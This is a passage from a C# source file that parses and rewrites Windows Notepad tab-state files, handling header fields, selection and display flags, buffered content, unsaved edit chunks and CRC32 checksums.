0x7A }, new byte[] { 0x19, 0x37, 0x05, 0x7A }); 278 | UnsavedBufferChunks.Add(chk); 279 | 280 | Save(); 281 | 282 | return bytes; 283 | } 284 | 285 | private void ParseBytes() 286 | { 287 | using (MemoryStream stream = new MemoryStream(bytes)) 288 | { 289 | using (BinaryReader reader = new BinaryReader(stream)) 290 | { 291 | string hdrType = Encoding.ASCII.GetString(reader.ReadBytes(2)); 292 | 293 | if (hdrType == "NP") //[0x4E, 0x50] 294 | { 295 | SequenceNumber = reader.ReadLEB128Unsigned(); 296 | TypeFlag = reader.ReadLEB128Unsigned(); 297 | 298 | switch (TypeFlag) 299 | { 300 | case 0: //Unsaved - buffer file 301 | { 302 | CRC32Check c = new CRC32Check(); 303 | c.AddBytes(TypeFlag); 304 | 305 | var un1 = reader.ReadBytes(1); //Unknown / Delimiter / 0x00 306 | c.AddBytes(un1); 307 | 308 | SelectionStartIndex = reader.ReadLEB128Unsigned(); 309 | c.AddBytes(SelectionStartIndex); 310 | 311 | SelectionEndIndex = reader.ReadLEB128Unsigned(); 312 | c.AddBytes(SelectionEndIndex); 313 | 314 | WordWrap = reader.ReadBytes(1); 315 | c.AddBytes(WordWrap); 316 | 317 | RightToLeft = reader.ReadBytes(1); 318 | c.AddBytes(RightToLeft); 319 | 320 | ShowUnicode = reader.ReadBytes(1); 321 | c.AddBytes(ShowUnicode); 322 | 323 | OptionCount = reader.ReadLEB128Unsigned(); 324 | c.AddBytes(OptionCount); 325 | 326 | //Read Extra Options 327 | Options = reader.ReadBytes((int)OptionCount); 328 | c.AddBytes(Options); 329 | 330 | ContentLength = reader.ReadLEB128Unsigned(); 331 | c.AddBytes(ContentLength); 332 | 333 | Content = reader.ReadBytes((int)ContentLength * 2); 334 | c.AddBytes(Content); 335 | 336 | Unsaved = reader.ReadBytes(1); 337 | c.AddBytes(Unsaved); 338 | 339 | CRC32Stored = reader.ReadBytes(4); 340 | CRC32Calculated = c.CRC32; 341 | } 342 | break; 343 | case 1: //Saved - buffer file 344 | { 345 | CRC32Check c = new CRC32Check(); 346 | c.AddBytes(TypeFlag); 347 | 348 | FilePathLength = reader.ReadLEB128Unsigned(); 349 | c.AddBytes(FilePathLength); 350 | 351 | var fPathBytes = reader.ReadBytes((int)FilePathLength * 2); 352 | c.AddBytes(fPathBytes); 353 | 354 | FilePath = Encoding.Unicode.GetString(fPathBytes); 355 | 356 | SavedFileContentLength = reader.ReadLEB128Unsigned(); 357 | c.AddBytes(SavedFileContentLength); 358 | 359 | EncodingType = reader.ReadBytes(1); 360 | c.AddBytes(EncodingType); 361 | 362 | CarriageReturnType = reader.ReadBytes(1); 363 | c.AddBytes(CarriageReturnType); 364 | 365 | var timeStamp = reader.ReadLEB128Unsigned(); 366 | c.AddBytes(timeStamp); 367 | if (timeStamp > 0) 368 | { 369 | Timestamp = DateTime.FromFileTime((long)timeStamp); 370 | } 371 | 372 | FileHashStored = reader.ReadBytes(32); 373 | c.AddBytes(FileHashStored); 374 | 375 | var delim1 = reader.ReadBytes(2); //Unknown / Delimiter / 0x00 0x01 //TODO: Maybe check for when this doesn't fit the assumed? 376 | c.AddBytes(delim1); 377 | 378 | SelectionStartIndex = reader.ReadLEB128Unsigned(); 379 | c.AddBytes(SelectionStartIndex); 380 | SelectionEndIndex = reader.ReadLEB128Unsigned(); 381 | c.AddBytes(SelectionEndIndex); 382 | 383 | WordWrap = reader.ReadBytes(1); 384 | c.AddBytes(WordWrap); 385 | 386 | RightToLeft = reader.ReadBytes(1); 387 | c.AddBytes(RightToLeft); 388 | 389 | ShowUnicode = reader.ReadBytes(1); 390 | c.AddBytes(ShowUnicode); 391 | 392 | OptionCount = reader.ReadLEB128Unsigned(); 393 | c.AddBytes(OptionCount); 394 | 395 | //Read Extra Options 396 | Options = reader.ReadBytes((int)OptionCount); 397 | c.AddBytes(Options); 398 | 399 | ContentLength = reader.ReadLEB128Unsigned(); 400 | c.AddBytes(ContentLength); 401 | Content = reader.ReadBytes((int)ContentLength * 2); 402 | c.AddBytes(Content); 403 | 404 | Unsaved = reader.ReadBytes(1); 405 | c.AddBytes(Unsaved); 406 | 407 | CRC32Stored = reader.ReadBytes(4); 408 | CRC32Calculated = c.CRC32; 409 | } 410 | break; 411 | default: //State File 412 | { 413 | CRC32Check c = new CRC32Check(); 414 | c.AddBytes(SequenceNumber); 415 | c.AddBytes(TypeFlag); 416 | 417 | var un1 = reader.ReadBytes(1); //Unknown / Delimiter / 0x00 418 | c.AddBytes(un1); 419 | 420 | BinSize = reader.ReadLEB128Unsigned(); 421 | c.AddBytes(BinSize); 422 | 423 | SelectionStartIndex = reader.ReadLEB128Unsigned(); 424 | c.AddBytes(SelectionStartIndex); 425 | SelectionEndIndex = reader.ReadLEB128Unsigned(); 426 | c.AddBytes(SelectionEndIndex); 427 | 428 | WordWrap = reader.ReadBytes(1); 429 | c.AddBytes(WordWrap); 430 | 431 | RightToLeft = reader.ReadBytes(1); 432 | c.AddBytes(RightToLeft); 433 | 434 | ShowUnicode = reader.ReadBytes(1); 435 | c.AddBytes(ShowUnicode); 436 | 437 | OptionCount = reader.ReadLEB128Unsigned(); 438 | c.AddBytes(OptionCount); 439 | 440 | //Read Extra Options 441 | Options = reader.ReadBytes((int)OptionCount); 442 | c.AddBytes(Options); 443 | 444 | CRC32Stored = reader.ReadBytes(4); 445 | CRC32Calculated = c.CRC32; 446 | } 447 | break; 448 | } 449 | 450 | 451 | #region Unsaved Buffer 452 | while (reader.BaseStream.Length > reader.BaseStream.Position) 453 | { 454 | CRC32Check c = new CRC32Check(); 455 | 456 | var charPos = reader.ReadLEB128Unsigned(); 457 | c.AddBytes(charPos); 458 | 459 | var charDeletion = reader.ReadLEB128Unsigned(); 460 | c.AddBytes(charDeletion); 461 | 462 | var charAddition = reader.ReadLEB128Unsigned(); 463 | c.AddBytes(charAddition); 464 | 465 | var charAdded = reader.ReadBytes((int)charAddition * 2); 466 | c.AddBytes(charAdded); 467 | 468 | UnsavedBufferChunk chnk = new UnsavedBufferChunk(FileName, charPos, charDeletion, charAddition, charAdded, reader.ReadBytes(4), c.CRC32); 469 | UnsavedBufferChunks.Add(chnk); 470 | } 471 | #endregion 472 | } 473 | else 474 | { 475 | throw new Exception("Invalid Header Bytes"); 476 | } 477 | } 478 | } 479 | } 480 | 481 | private void Save() //TODO: Expose this? 482 | { 483 | using (MemoryStream outStream = new MemoryStream()) 484 | { 485 | using (BinaryWriter writer = new BinaryWriter(outStream)) 486 | { 487 | writer.Write([0x4E, 0x50]); 488 | writer.Write(SequenceNumber.WriteLEB128Unsigned()); 489 | writer.Write(TypeFlag.WriteLEB128Unsigned()); 490 | 491 | switch (TypeFlag) 492 | { 493 | case 0: //Unsaved File 494 | { 495 | CRC32Check c = new CRC32Check(); 496 | c.AddBytes(TypeFlag); 497 | 498 | writer.Write(Unsaved); 499 | c.AddBytes(Unsaved); 500 | 501 | writer.Write(SelectionStartIndex.WriteLEB128Unsigned()); 502 | c.AddBytes(SelectionStartIndex); 503 | 504 | writer.Write(SelectionEndIndex.WriteLEB128Unsigned()); 505 | c.AddBytes(SelectionEndIndex); 506 | 507 | writer.Write(WordWrap); 508 | c.AddBytes(WordWrap); 509 | 510 | writer.Write(RightToLeft); 511 | c.AddBytes(RightToLeft); 512 | 513 | writer.Write(ShowUnicode); 514 | c.AddBytes(ShowUnicode); 515 | 516 | writer.Write(OptionCount); 517 | c.AddBytes(OptionCount); 518 | 519 | //Write Extra Options 520 | if (OptionCount > 0) 521 | { 522 | writer.Write(Options); 523 | c.AddBytes(Options); 524 | } 525 | 526 | writer.Write(ContentLength.WriteLEB128Unsigned()); 527 | c.AddBytes(ContentLength); 528 | 529 | writer.Write(Content); 530 | c.AddBytes(Content); 531 | 532 | writer.Write(Unsaved); 533 | c.AddBytes(Unsaved); 534 | 535 | CRC32Stored = c.CRC32; 536 | CRC32Calculated = c.CRC32; 537 | writer.Write(CRC32Stored); 538 | break; 539 | } 540 | case 1: //Saved File 541 | { 542 | CRC32Check c = new CRC32Check(); 543 | c.AddBytes(TypeFlag); 544 | 545 | writer.Write(FilePathLength.WriteLEB128Unsigned()); 546 | c.AddBytes(FilePathLength); 547 | 548 | writer.Write(Encoding.Unicode.GetBytes(FilePath)); 549 | c.AddBytes(Encoding.Unicode.GetBytes(FilePath)); 550 | 551 | writer.Write(SavedFileContentLength.WriteLEB128Unsigned()); 552 | c.AddBytes(SavedFileContentLength); 553 | 554 | writer.Write(EncodingType); 555 | c.AddBytes(EncodingType); 556 | 557 | writer.Write(CarriageReturnType); 558 | c.AddBytes(CarriageReturnType); 559 | 560 | DateTime dt = (DateTime)Timestamp; 561 | 562 | writer.Write(((ulong)dt.ToFileTime()).WriteLEB128Unsigned()); 563 | c.AddBytes((ulong)dt.ToFileTime()); 564 | 565 | writer.Write(FileHashStored); 566 | c.AddBytes(FileHashStored); 567 | 568 | writer.Write([0x00, 0x01]); 569 | c.AddBytes([0x00, 0x01]); 570 | 571 | writer.Write(SelectionStartIndex.WriteLEB128Unsigned()); 572 | c.AddBytes(SelectionStartIndex); 573 | writer.Write(SelectionEndIndex.WriteLEB128Unsigned()); 574 | c.AddBytes(SelectionEndIndex); 575 | 576 | writer.Write(WordWrap); 577 | c.AddBytes(WordWrap); 578 | 579 | writer.Write(RightToLeft); 580 | c.AddBytes(RightToLeft); 581 | 582 | writer.Write(ShowUnicode); 583 | c.AddBytes(ShowUnicode); 584 | 585 | writer.Write(OptionCount.WriteLEB128Unsigned()); 586 | c.AddBytes(OptionCount); 587 | 588 | //Write Extra Options 589 | if (OptionCount > 0) 590 | { 591 | writer.Write(Options); 592 | c.AddBytes(Options); 593 | } 594 | 595 | writer.Write(ContentLength.WriteLEB128Unsigned()); 596 | c.AddBytes(ContentLength); 597 | 598 | writer.Write(Content); 599 | c.AddBytes(Content); 600 | 601 | writer.Write(Unsaved); 602 | c.AddBytes(Unsaved); 603 | 604 | CRC32Stored = c.CRC32; 605 | CRC32Calculated = c.CRC32; 606 | writer.Write(CRC32Stored); 607 | break; 608 | } 609 | default: //State File 0.bin/1.bin 610 | { 611 | CRC32Check c = new CRC32Check(); 612 | c.AddBytes(SequenceNumber); 613 | c.AddBytes(TypeFlag); 614 | 615 | writer.Write([0x00]); 616 | c.AddBytes([0x00]); 617 | 618 | writer.Write(BinSize.WriteLEB128Unsigned()); 619 | c.AddBytes(BinSize); 620 | 621 | writer.Write(SelectionStartIndex.WriteLEB128Unsigned()); 622 | c.AddBytes(SelectionStartIndex); 623 | writer.Write(SelectionEndIndex.WriteLEB128Unsigned()); 624 | c.AddBytes(SelectionEndIndex); 625 | 626 | writer.Write(WordWrap); 627 | c.AddBytes(WordWrap); 628 | 629 | writer.Write(RightToLeft); 630 | c.AddBytes(RightToLeft); 631 | 632 | writer.Write(ShowUnicode); 633 | c.AddBytes(ShowUnicode); 634 | 635 | writer.Write(OptionCount); 636 | c.AddBytes(OptionCount); 637 | 638 | //Write Extra Options 639 | if (OptionCount > 0) 640 | { 641 | writer.Write(Options); 642 | c.AddBytes(Options); 643 | } 644 | 645 | CRC32Stored = c.CRC32; 646 | CRC32Calculated = c.CRC32; 647 | writer.Write(CRC32Stored); 648 | break; 649 | } 650 | } 651 | 652 | foreach (UnsavedBufferChunk chnk in UnsavedBufferChunks) 653 | { 654 | writer.Write(chnk.CursorPosition.WriteLEB128Unsigned()); 655 | writer.Write(chnk.DeletionAction.WriteLEB128Unsigned()); 656 | writer.Write(chnk.AdditionAction.WriteLEB128Unsigned()); 657 | if (chnk.AdditionAction > 0) 658 | { 659 | writer.Write(chnk.CharactersAdded); //TODO: Verify this 660 | } 661 | writer.Write(chnk.CRC32Stored); 662 | } 663 | 664 | bytes = outStream.ToArray(); 665 | } 666 | } 667 | } 668 | } 669 | } 670 | --------------------------------------------------------------------------------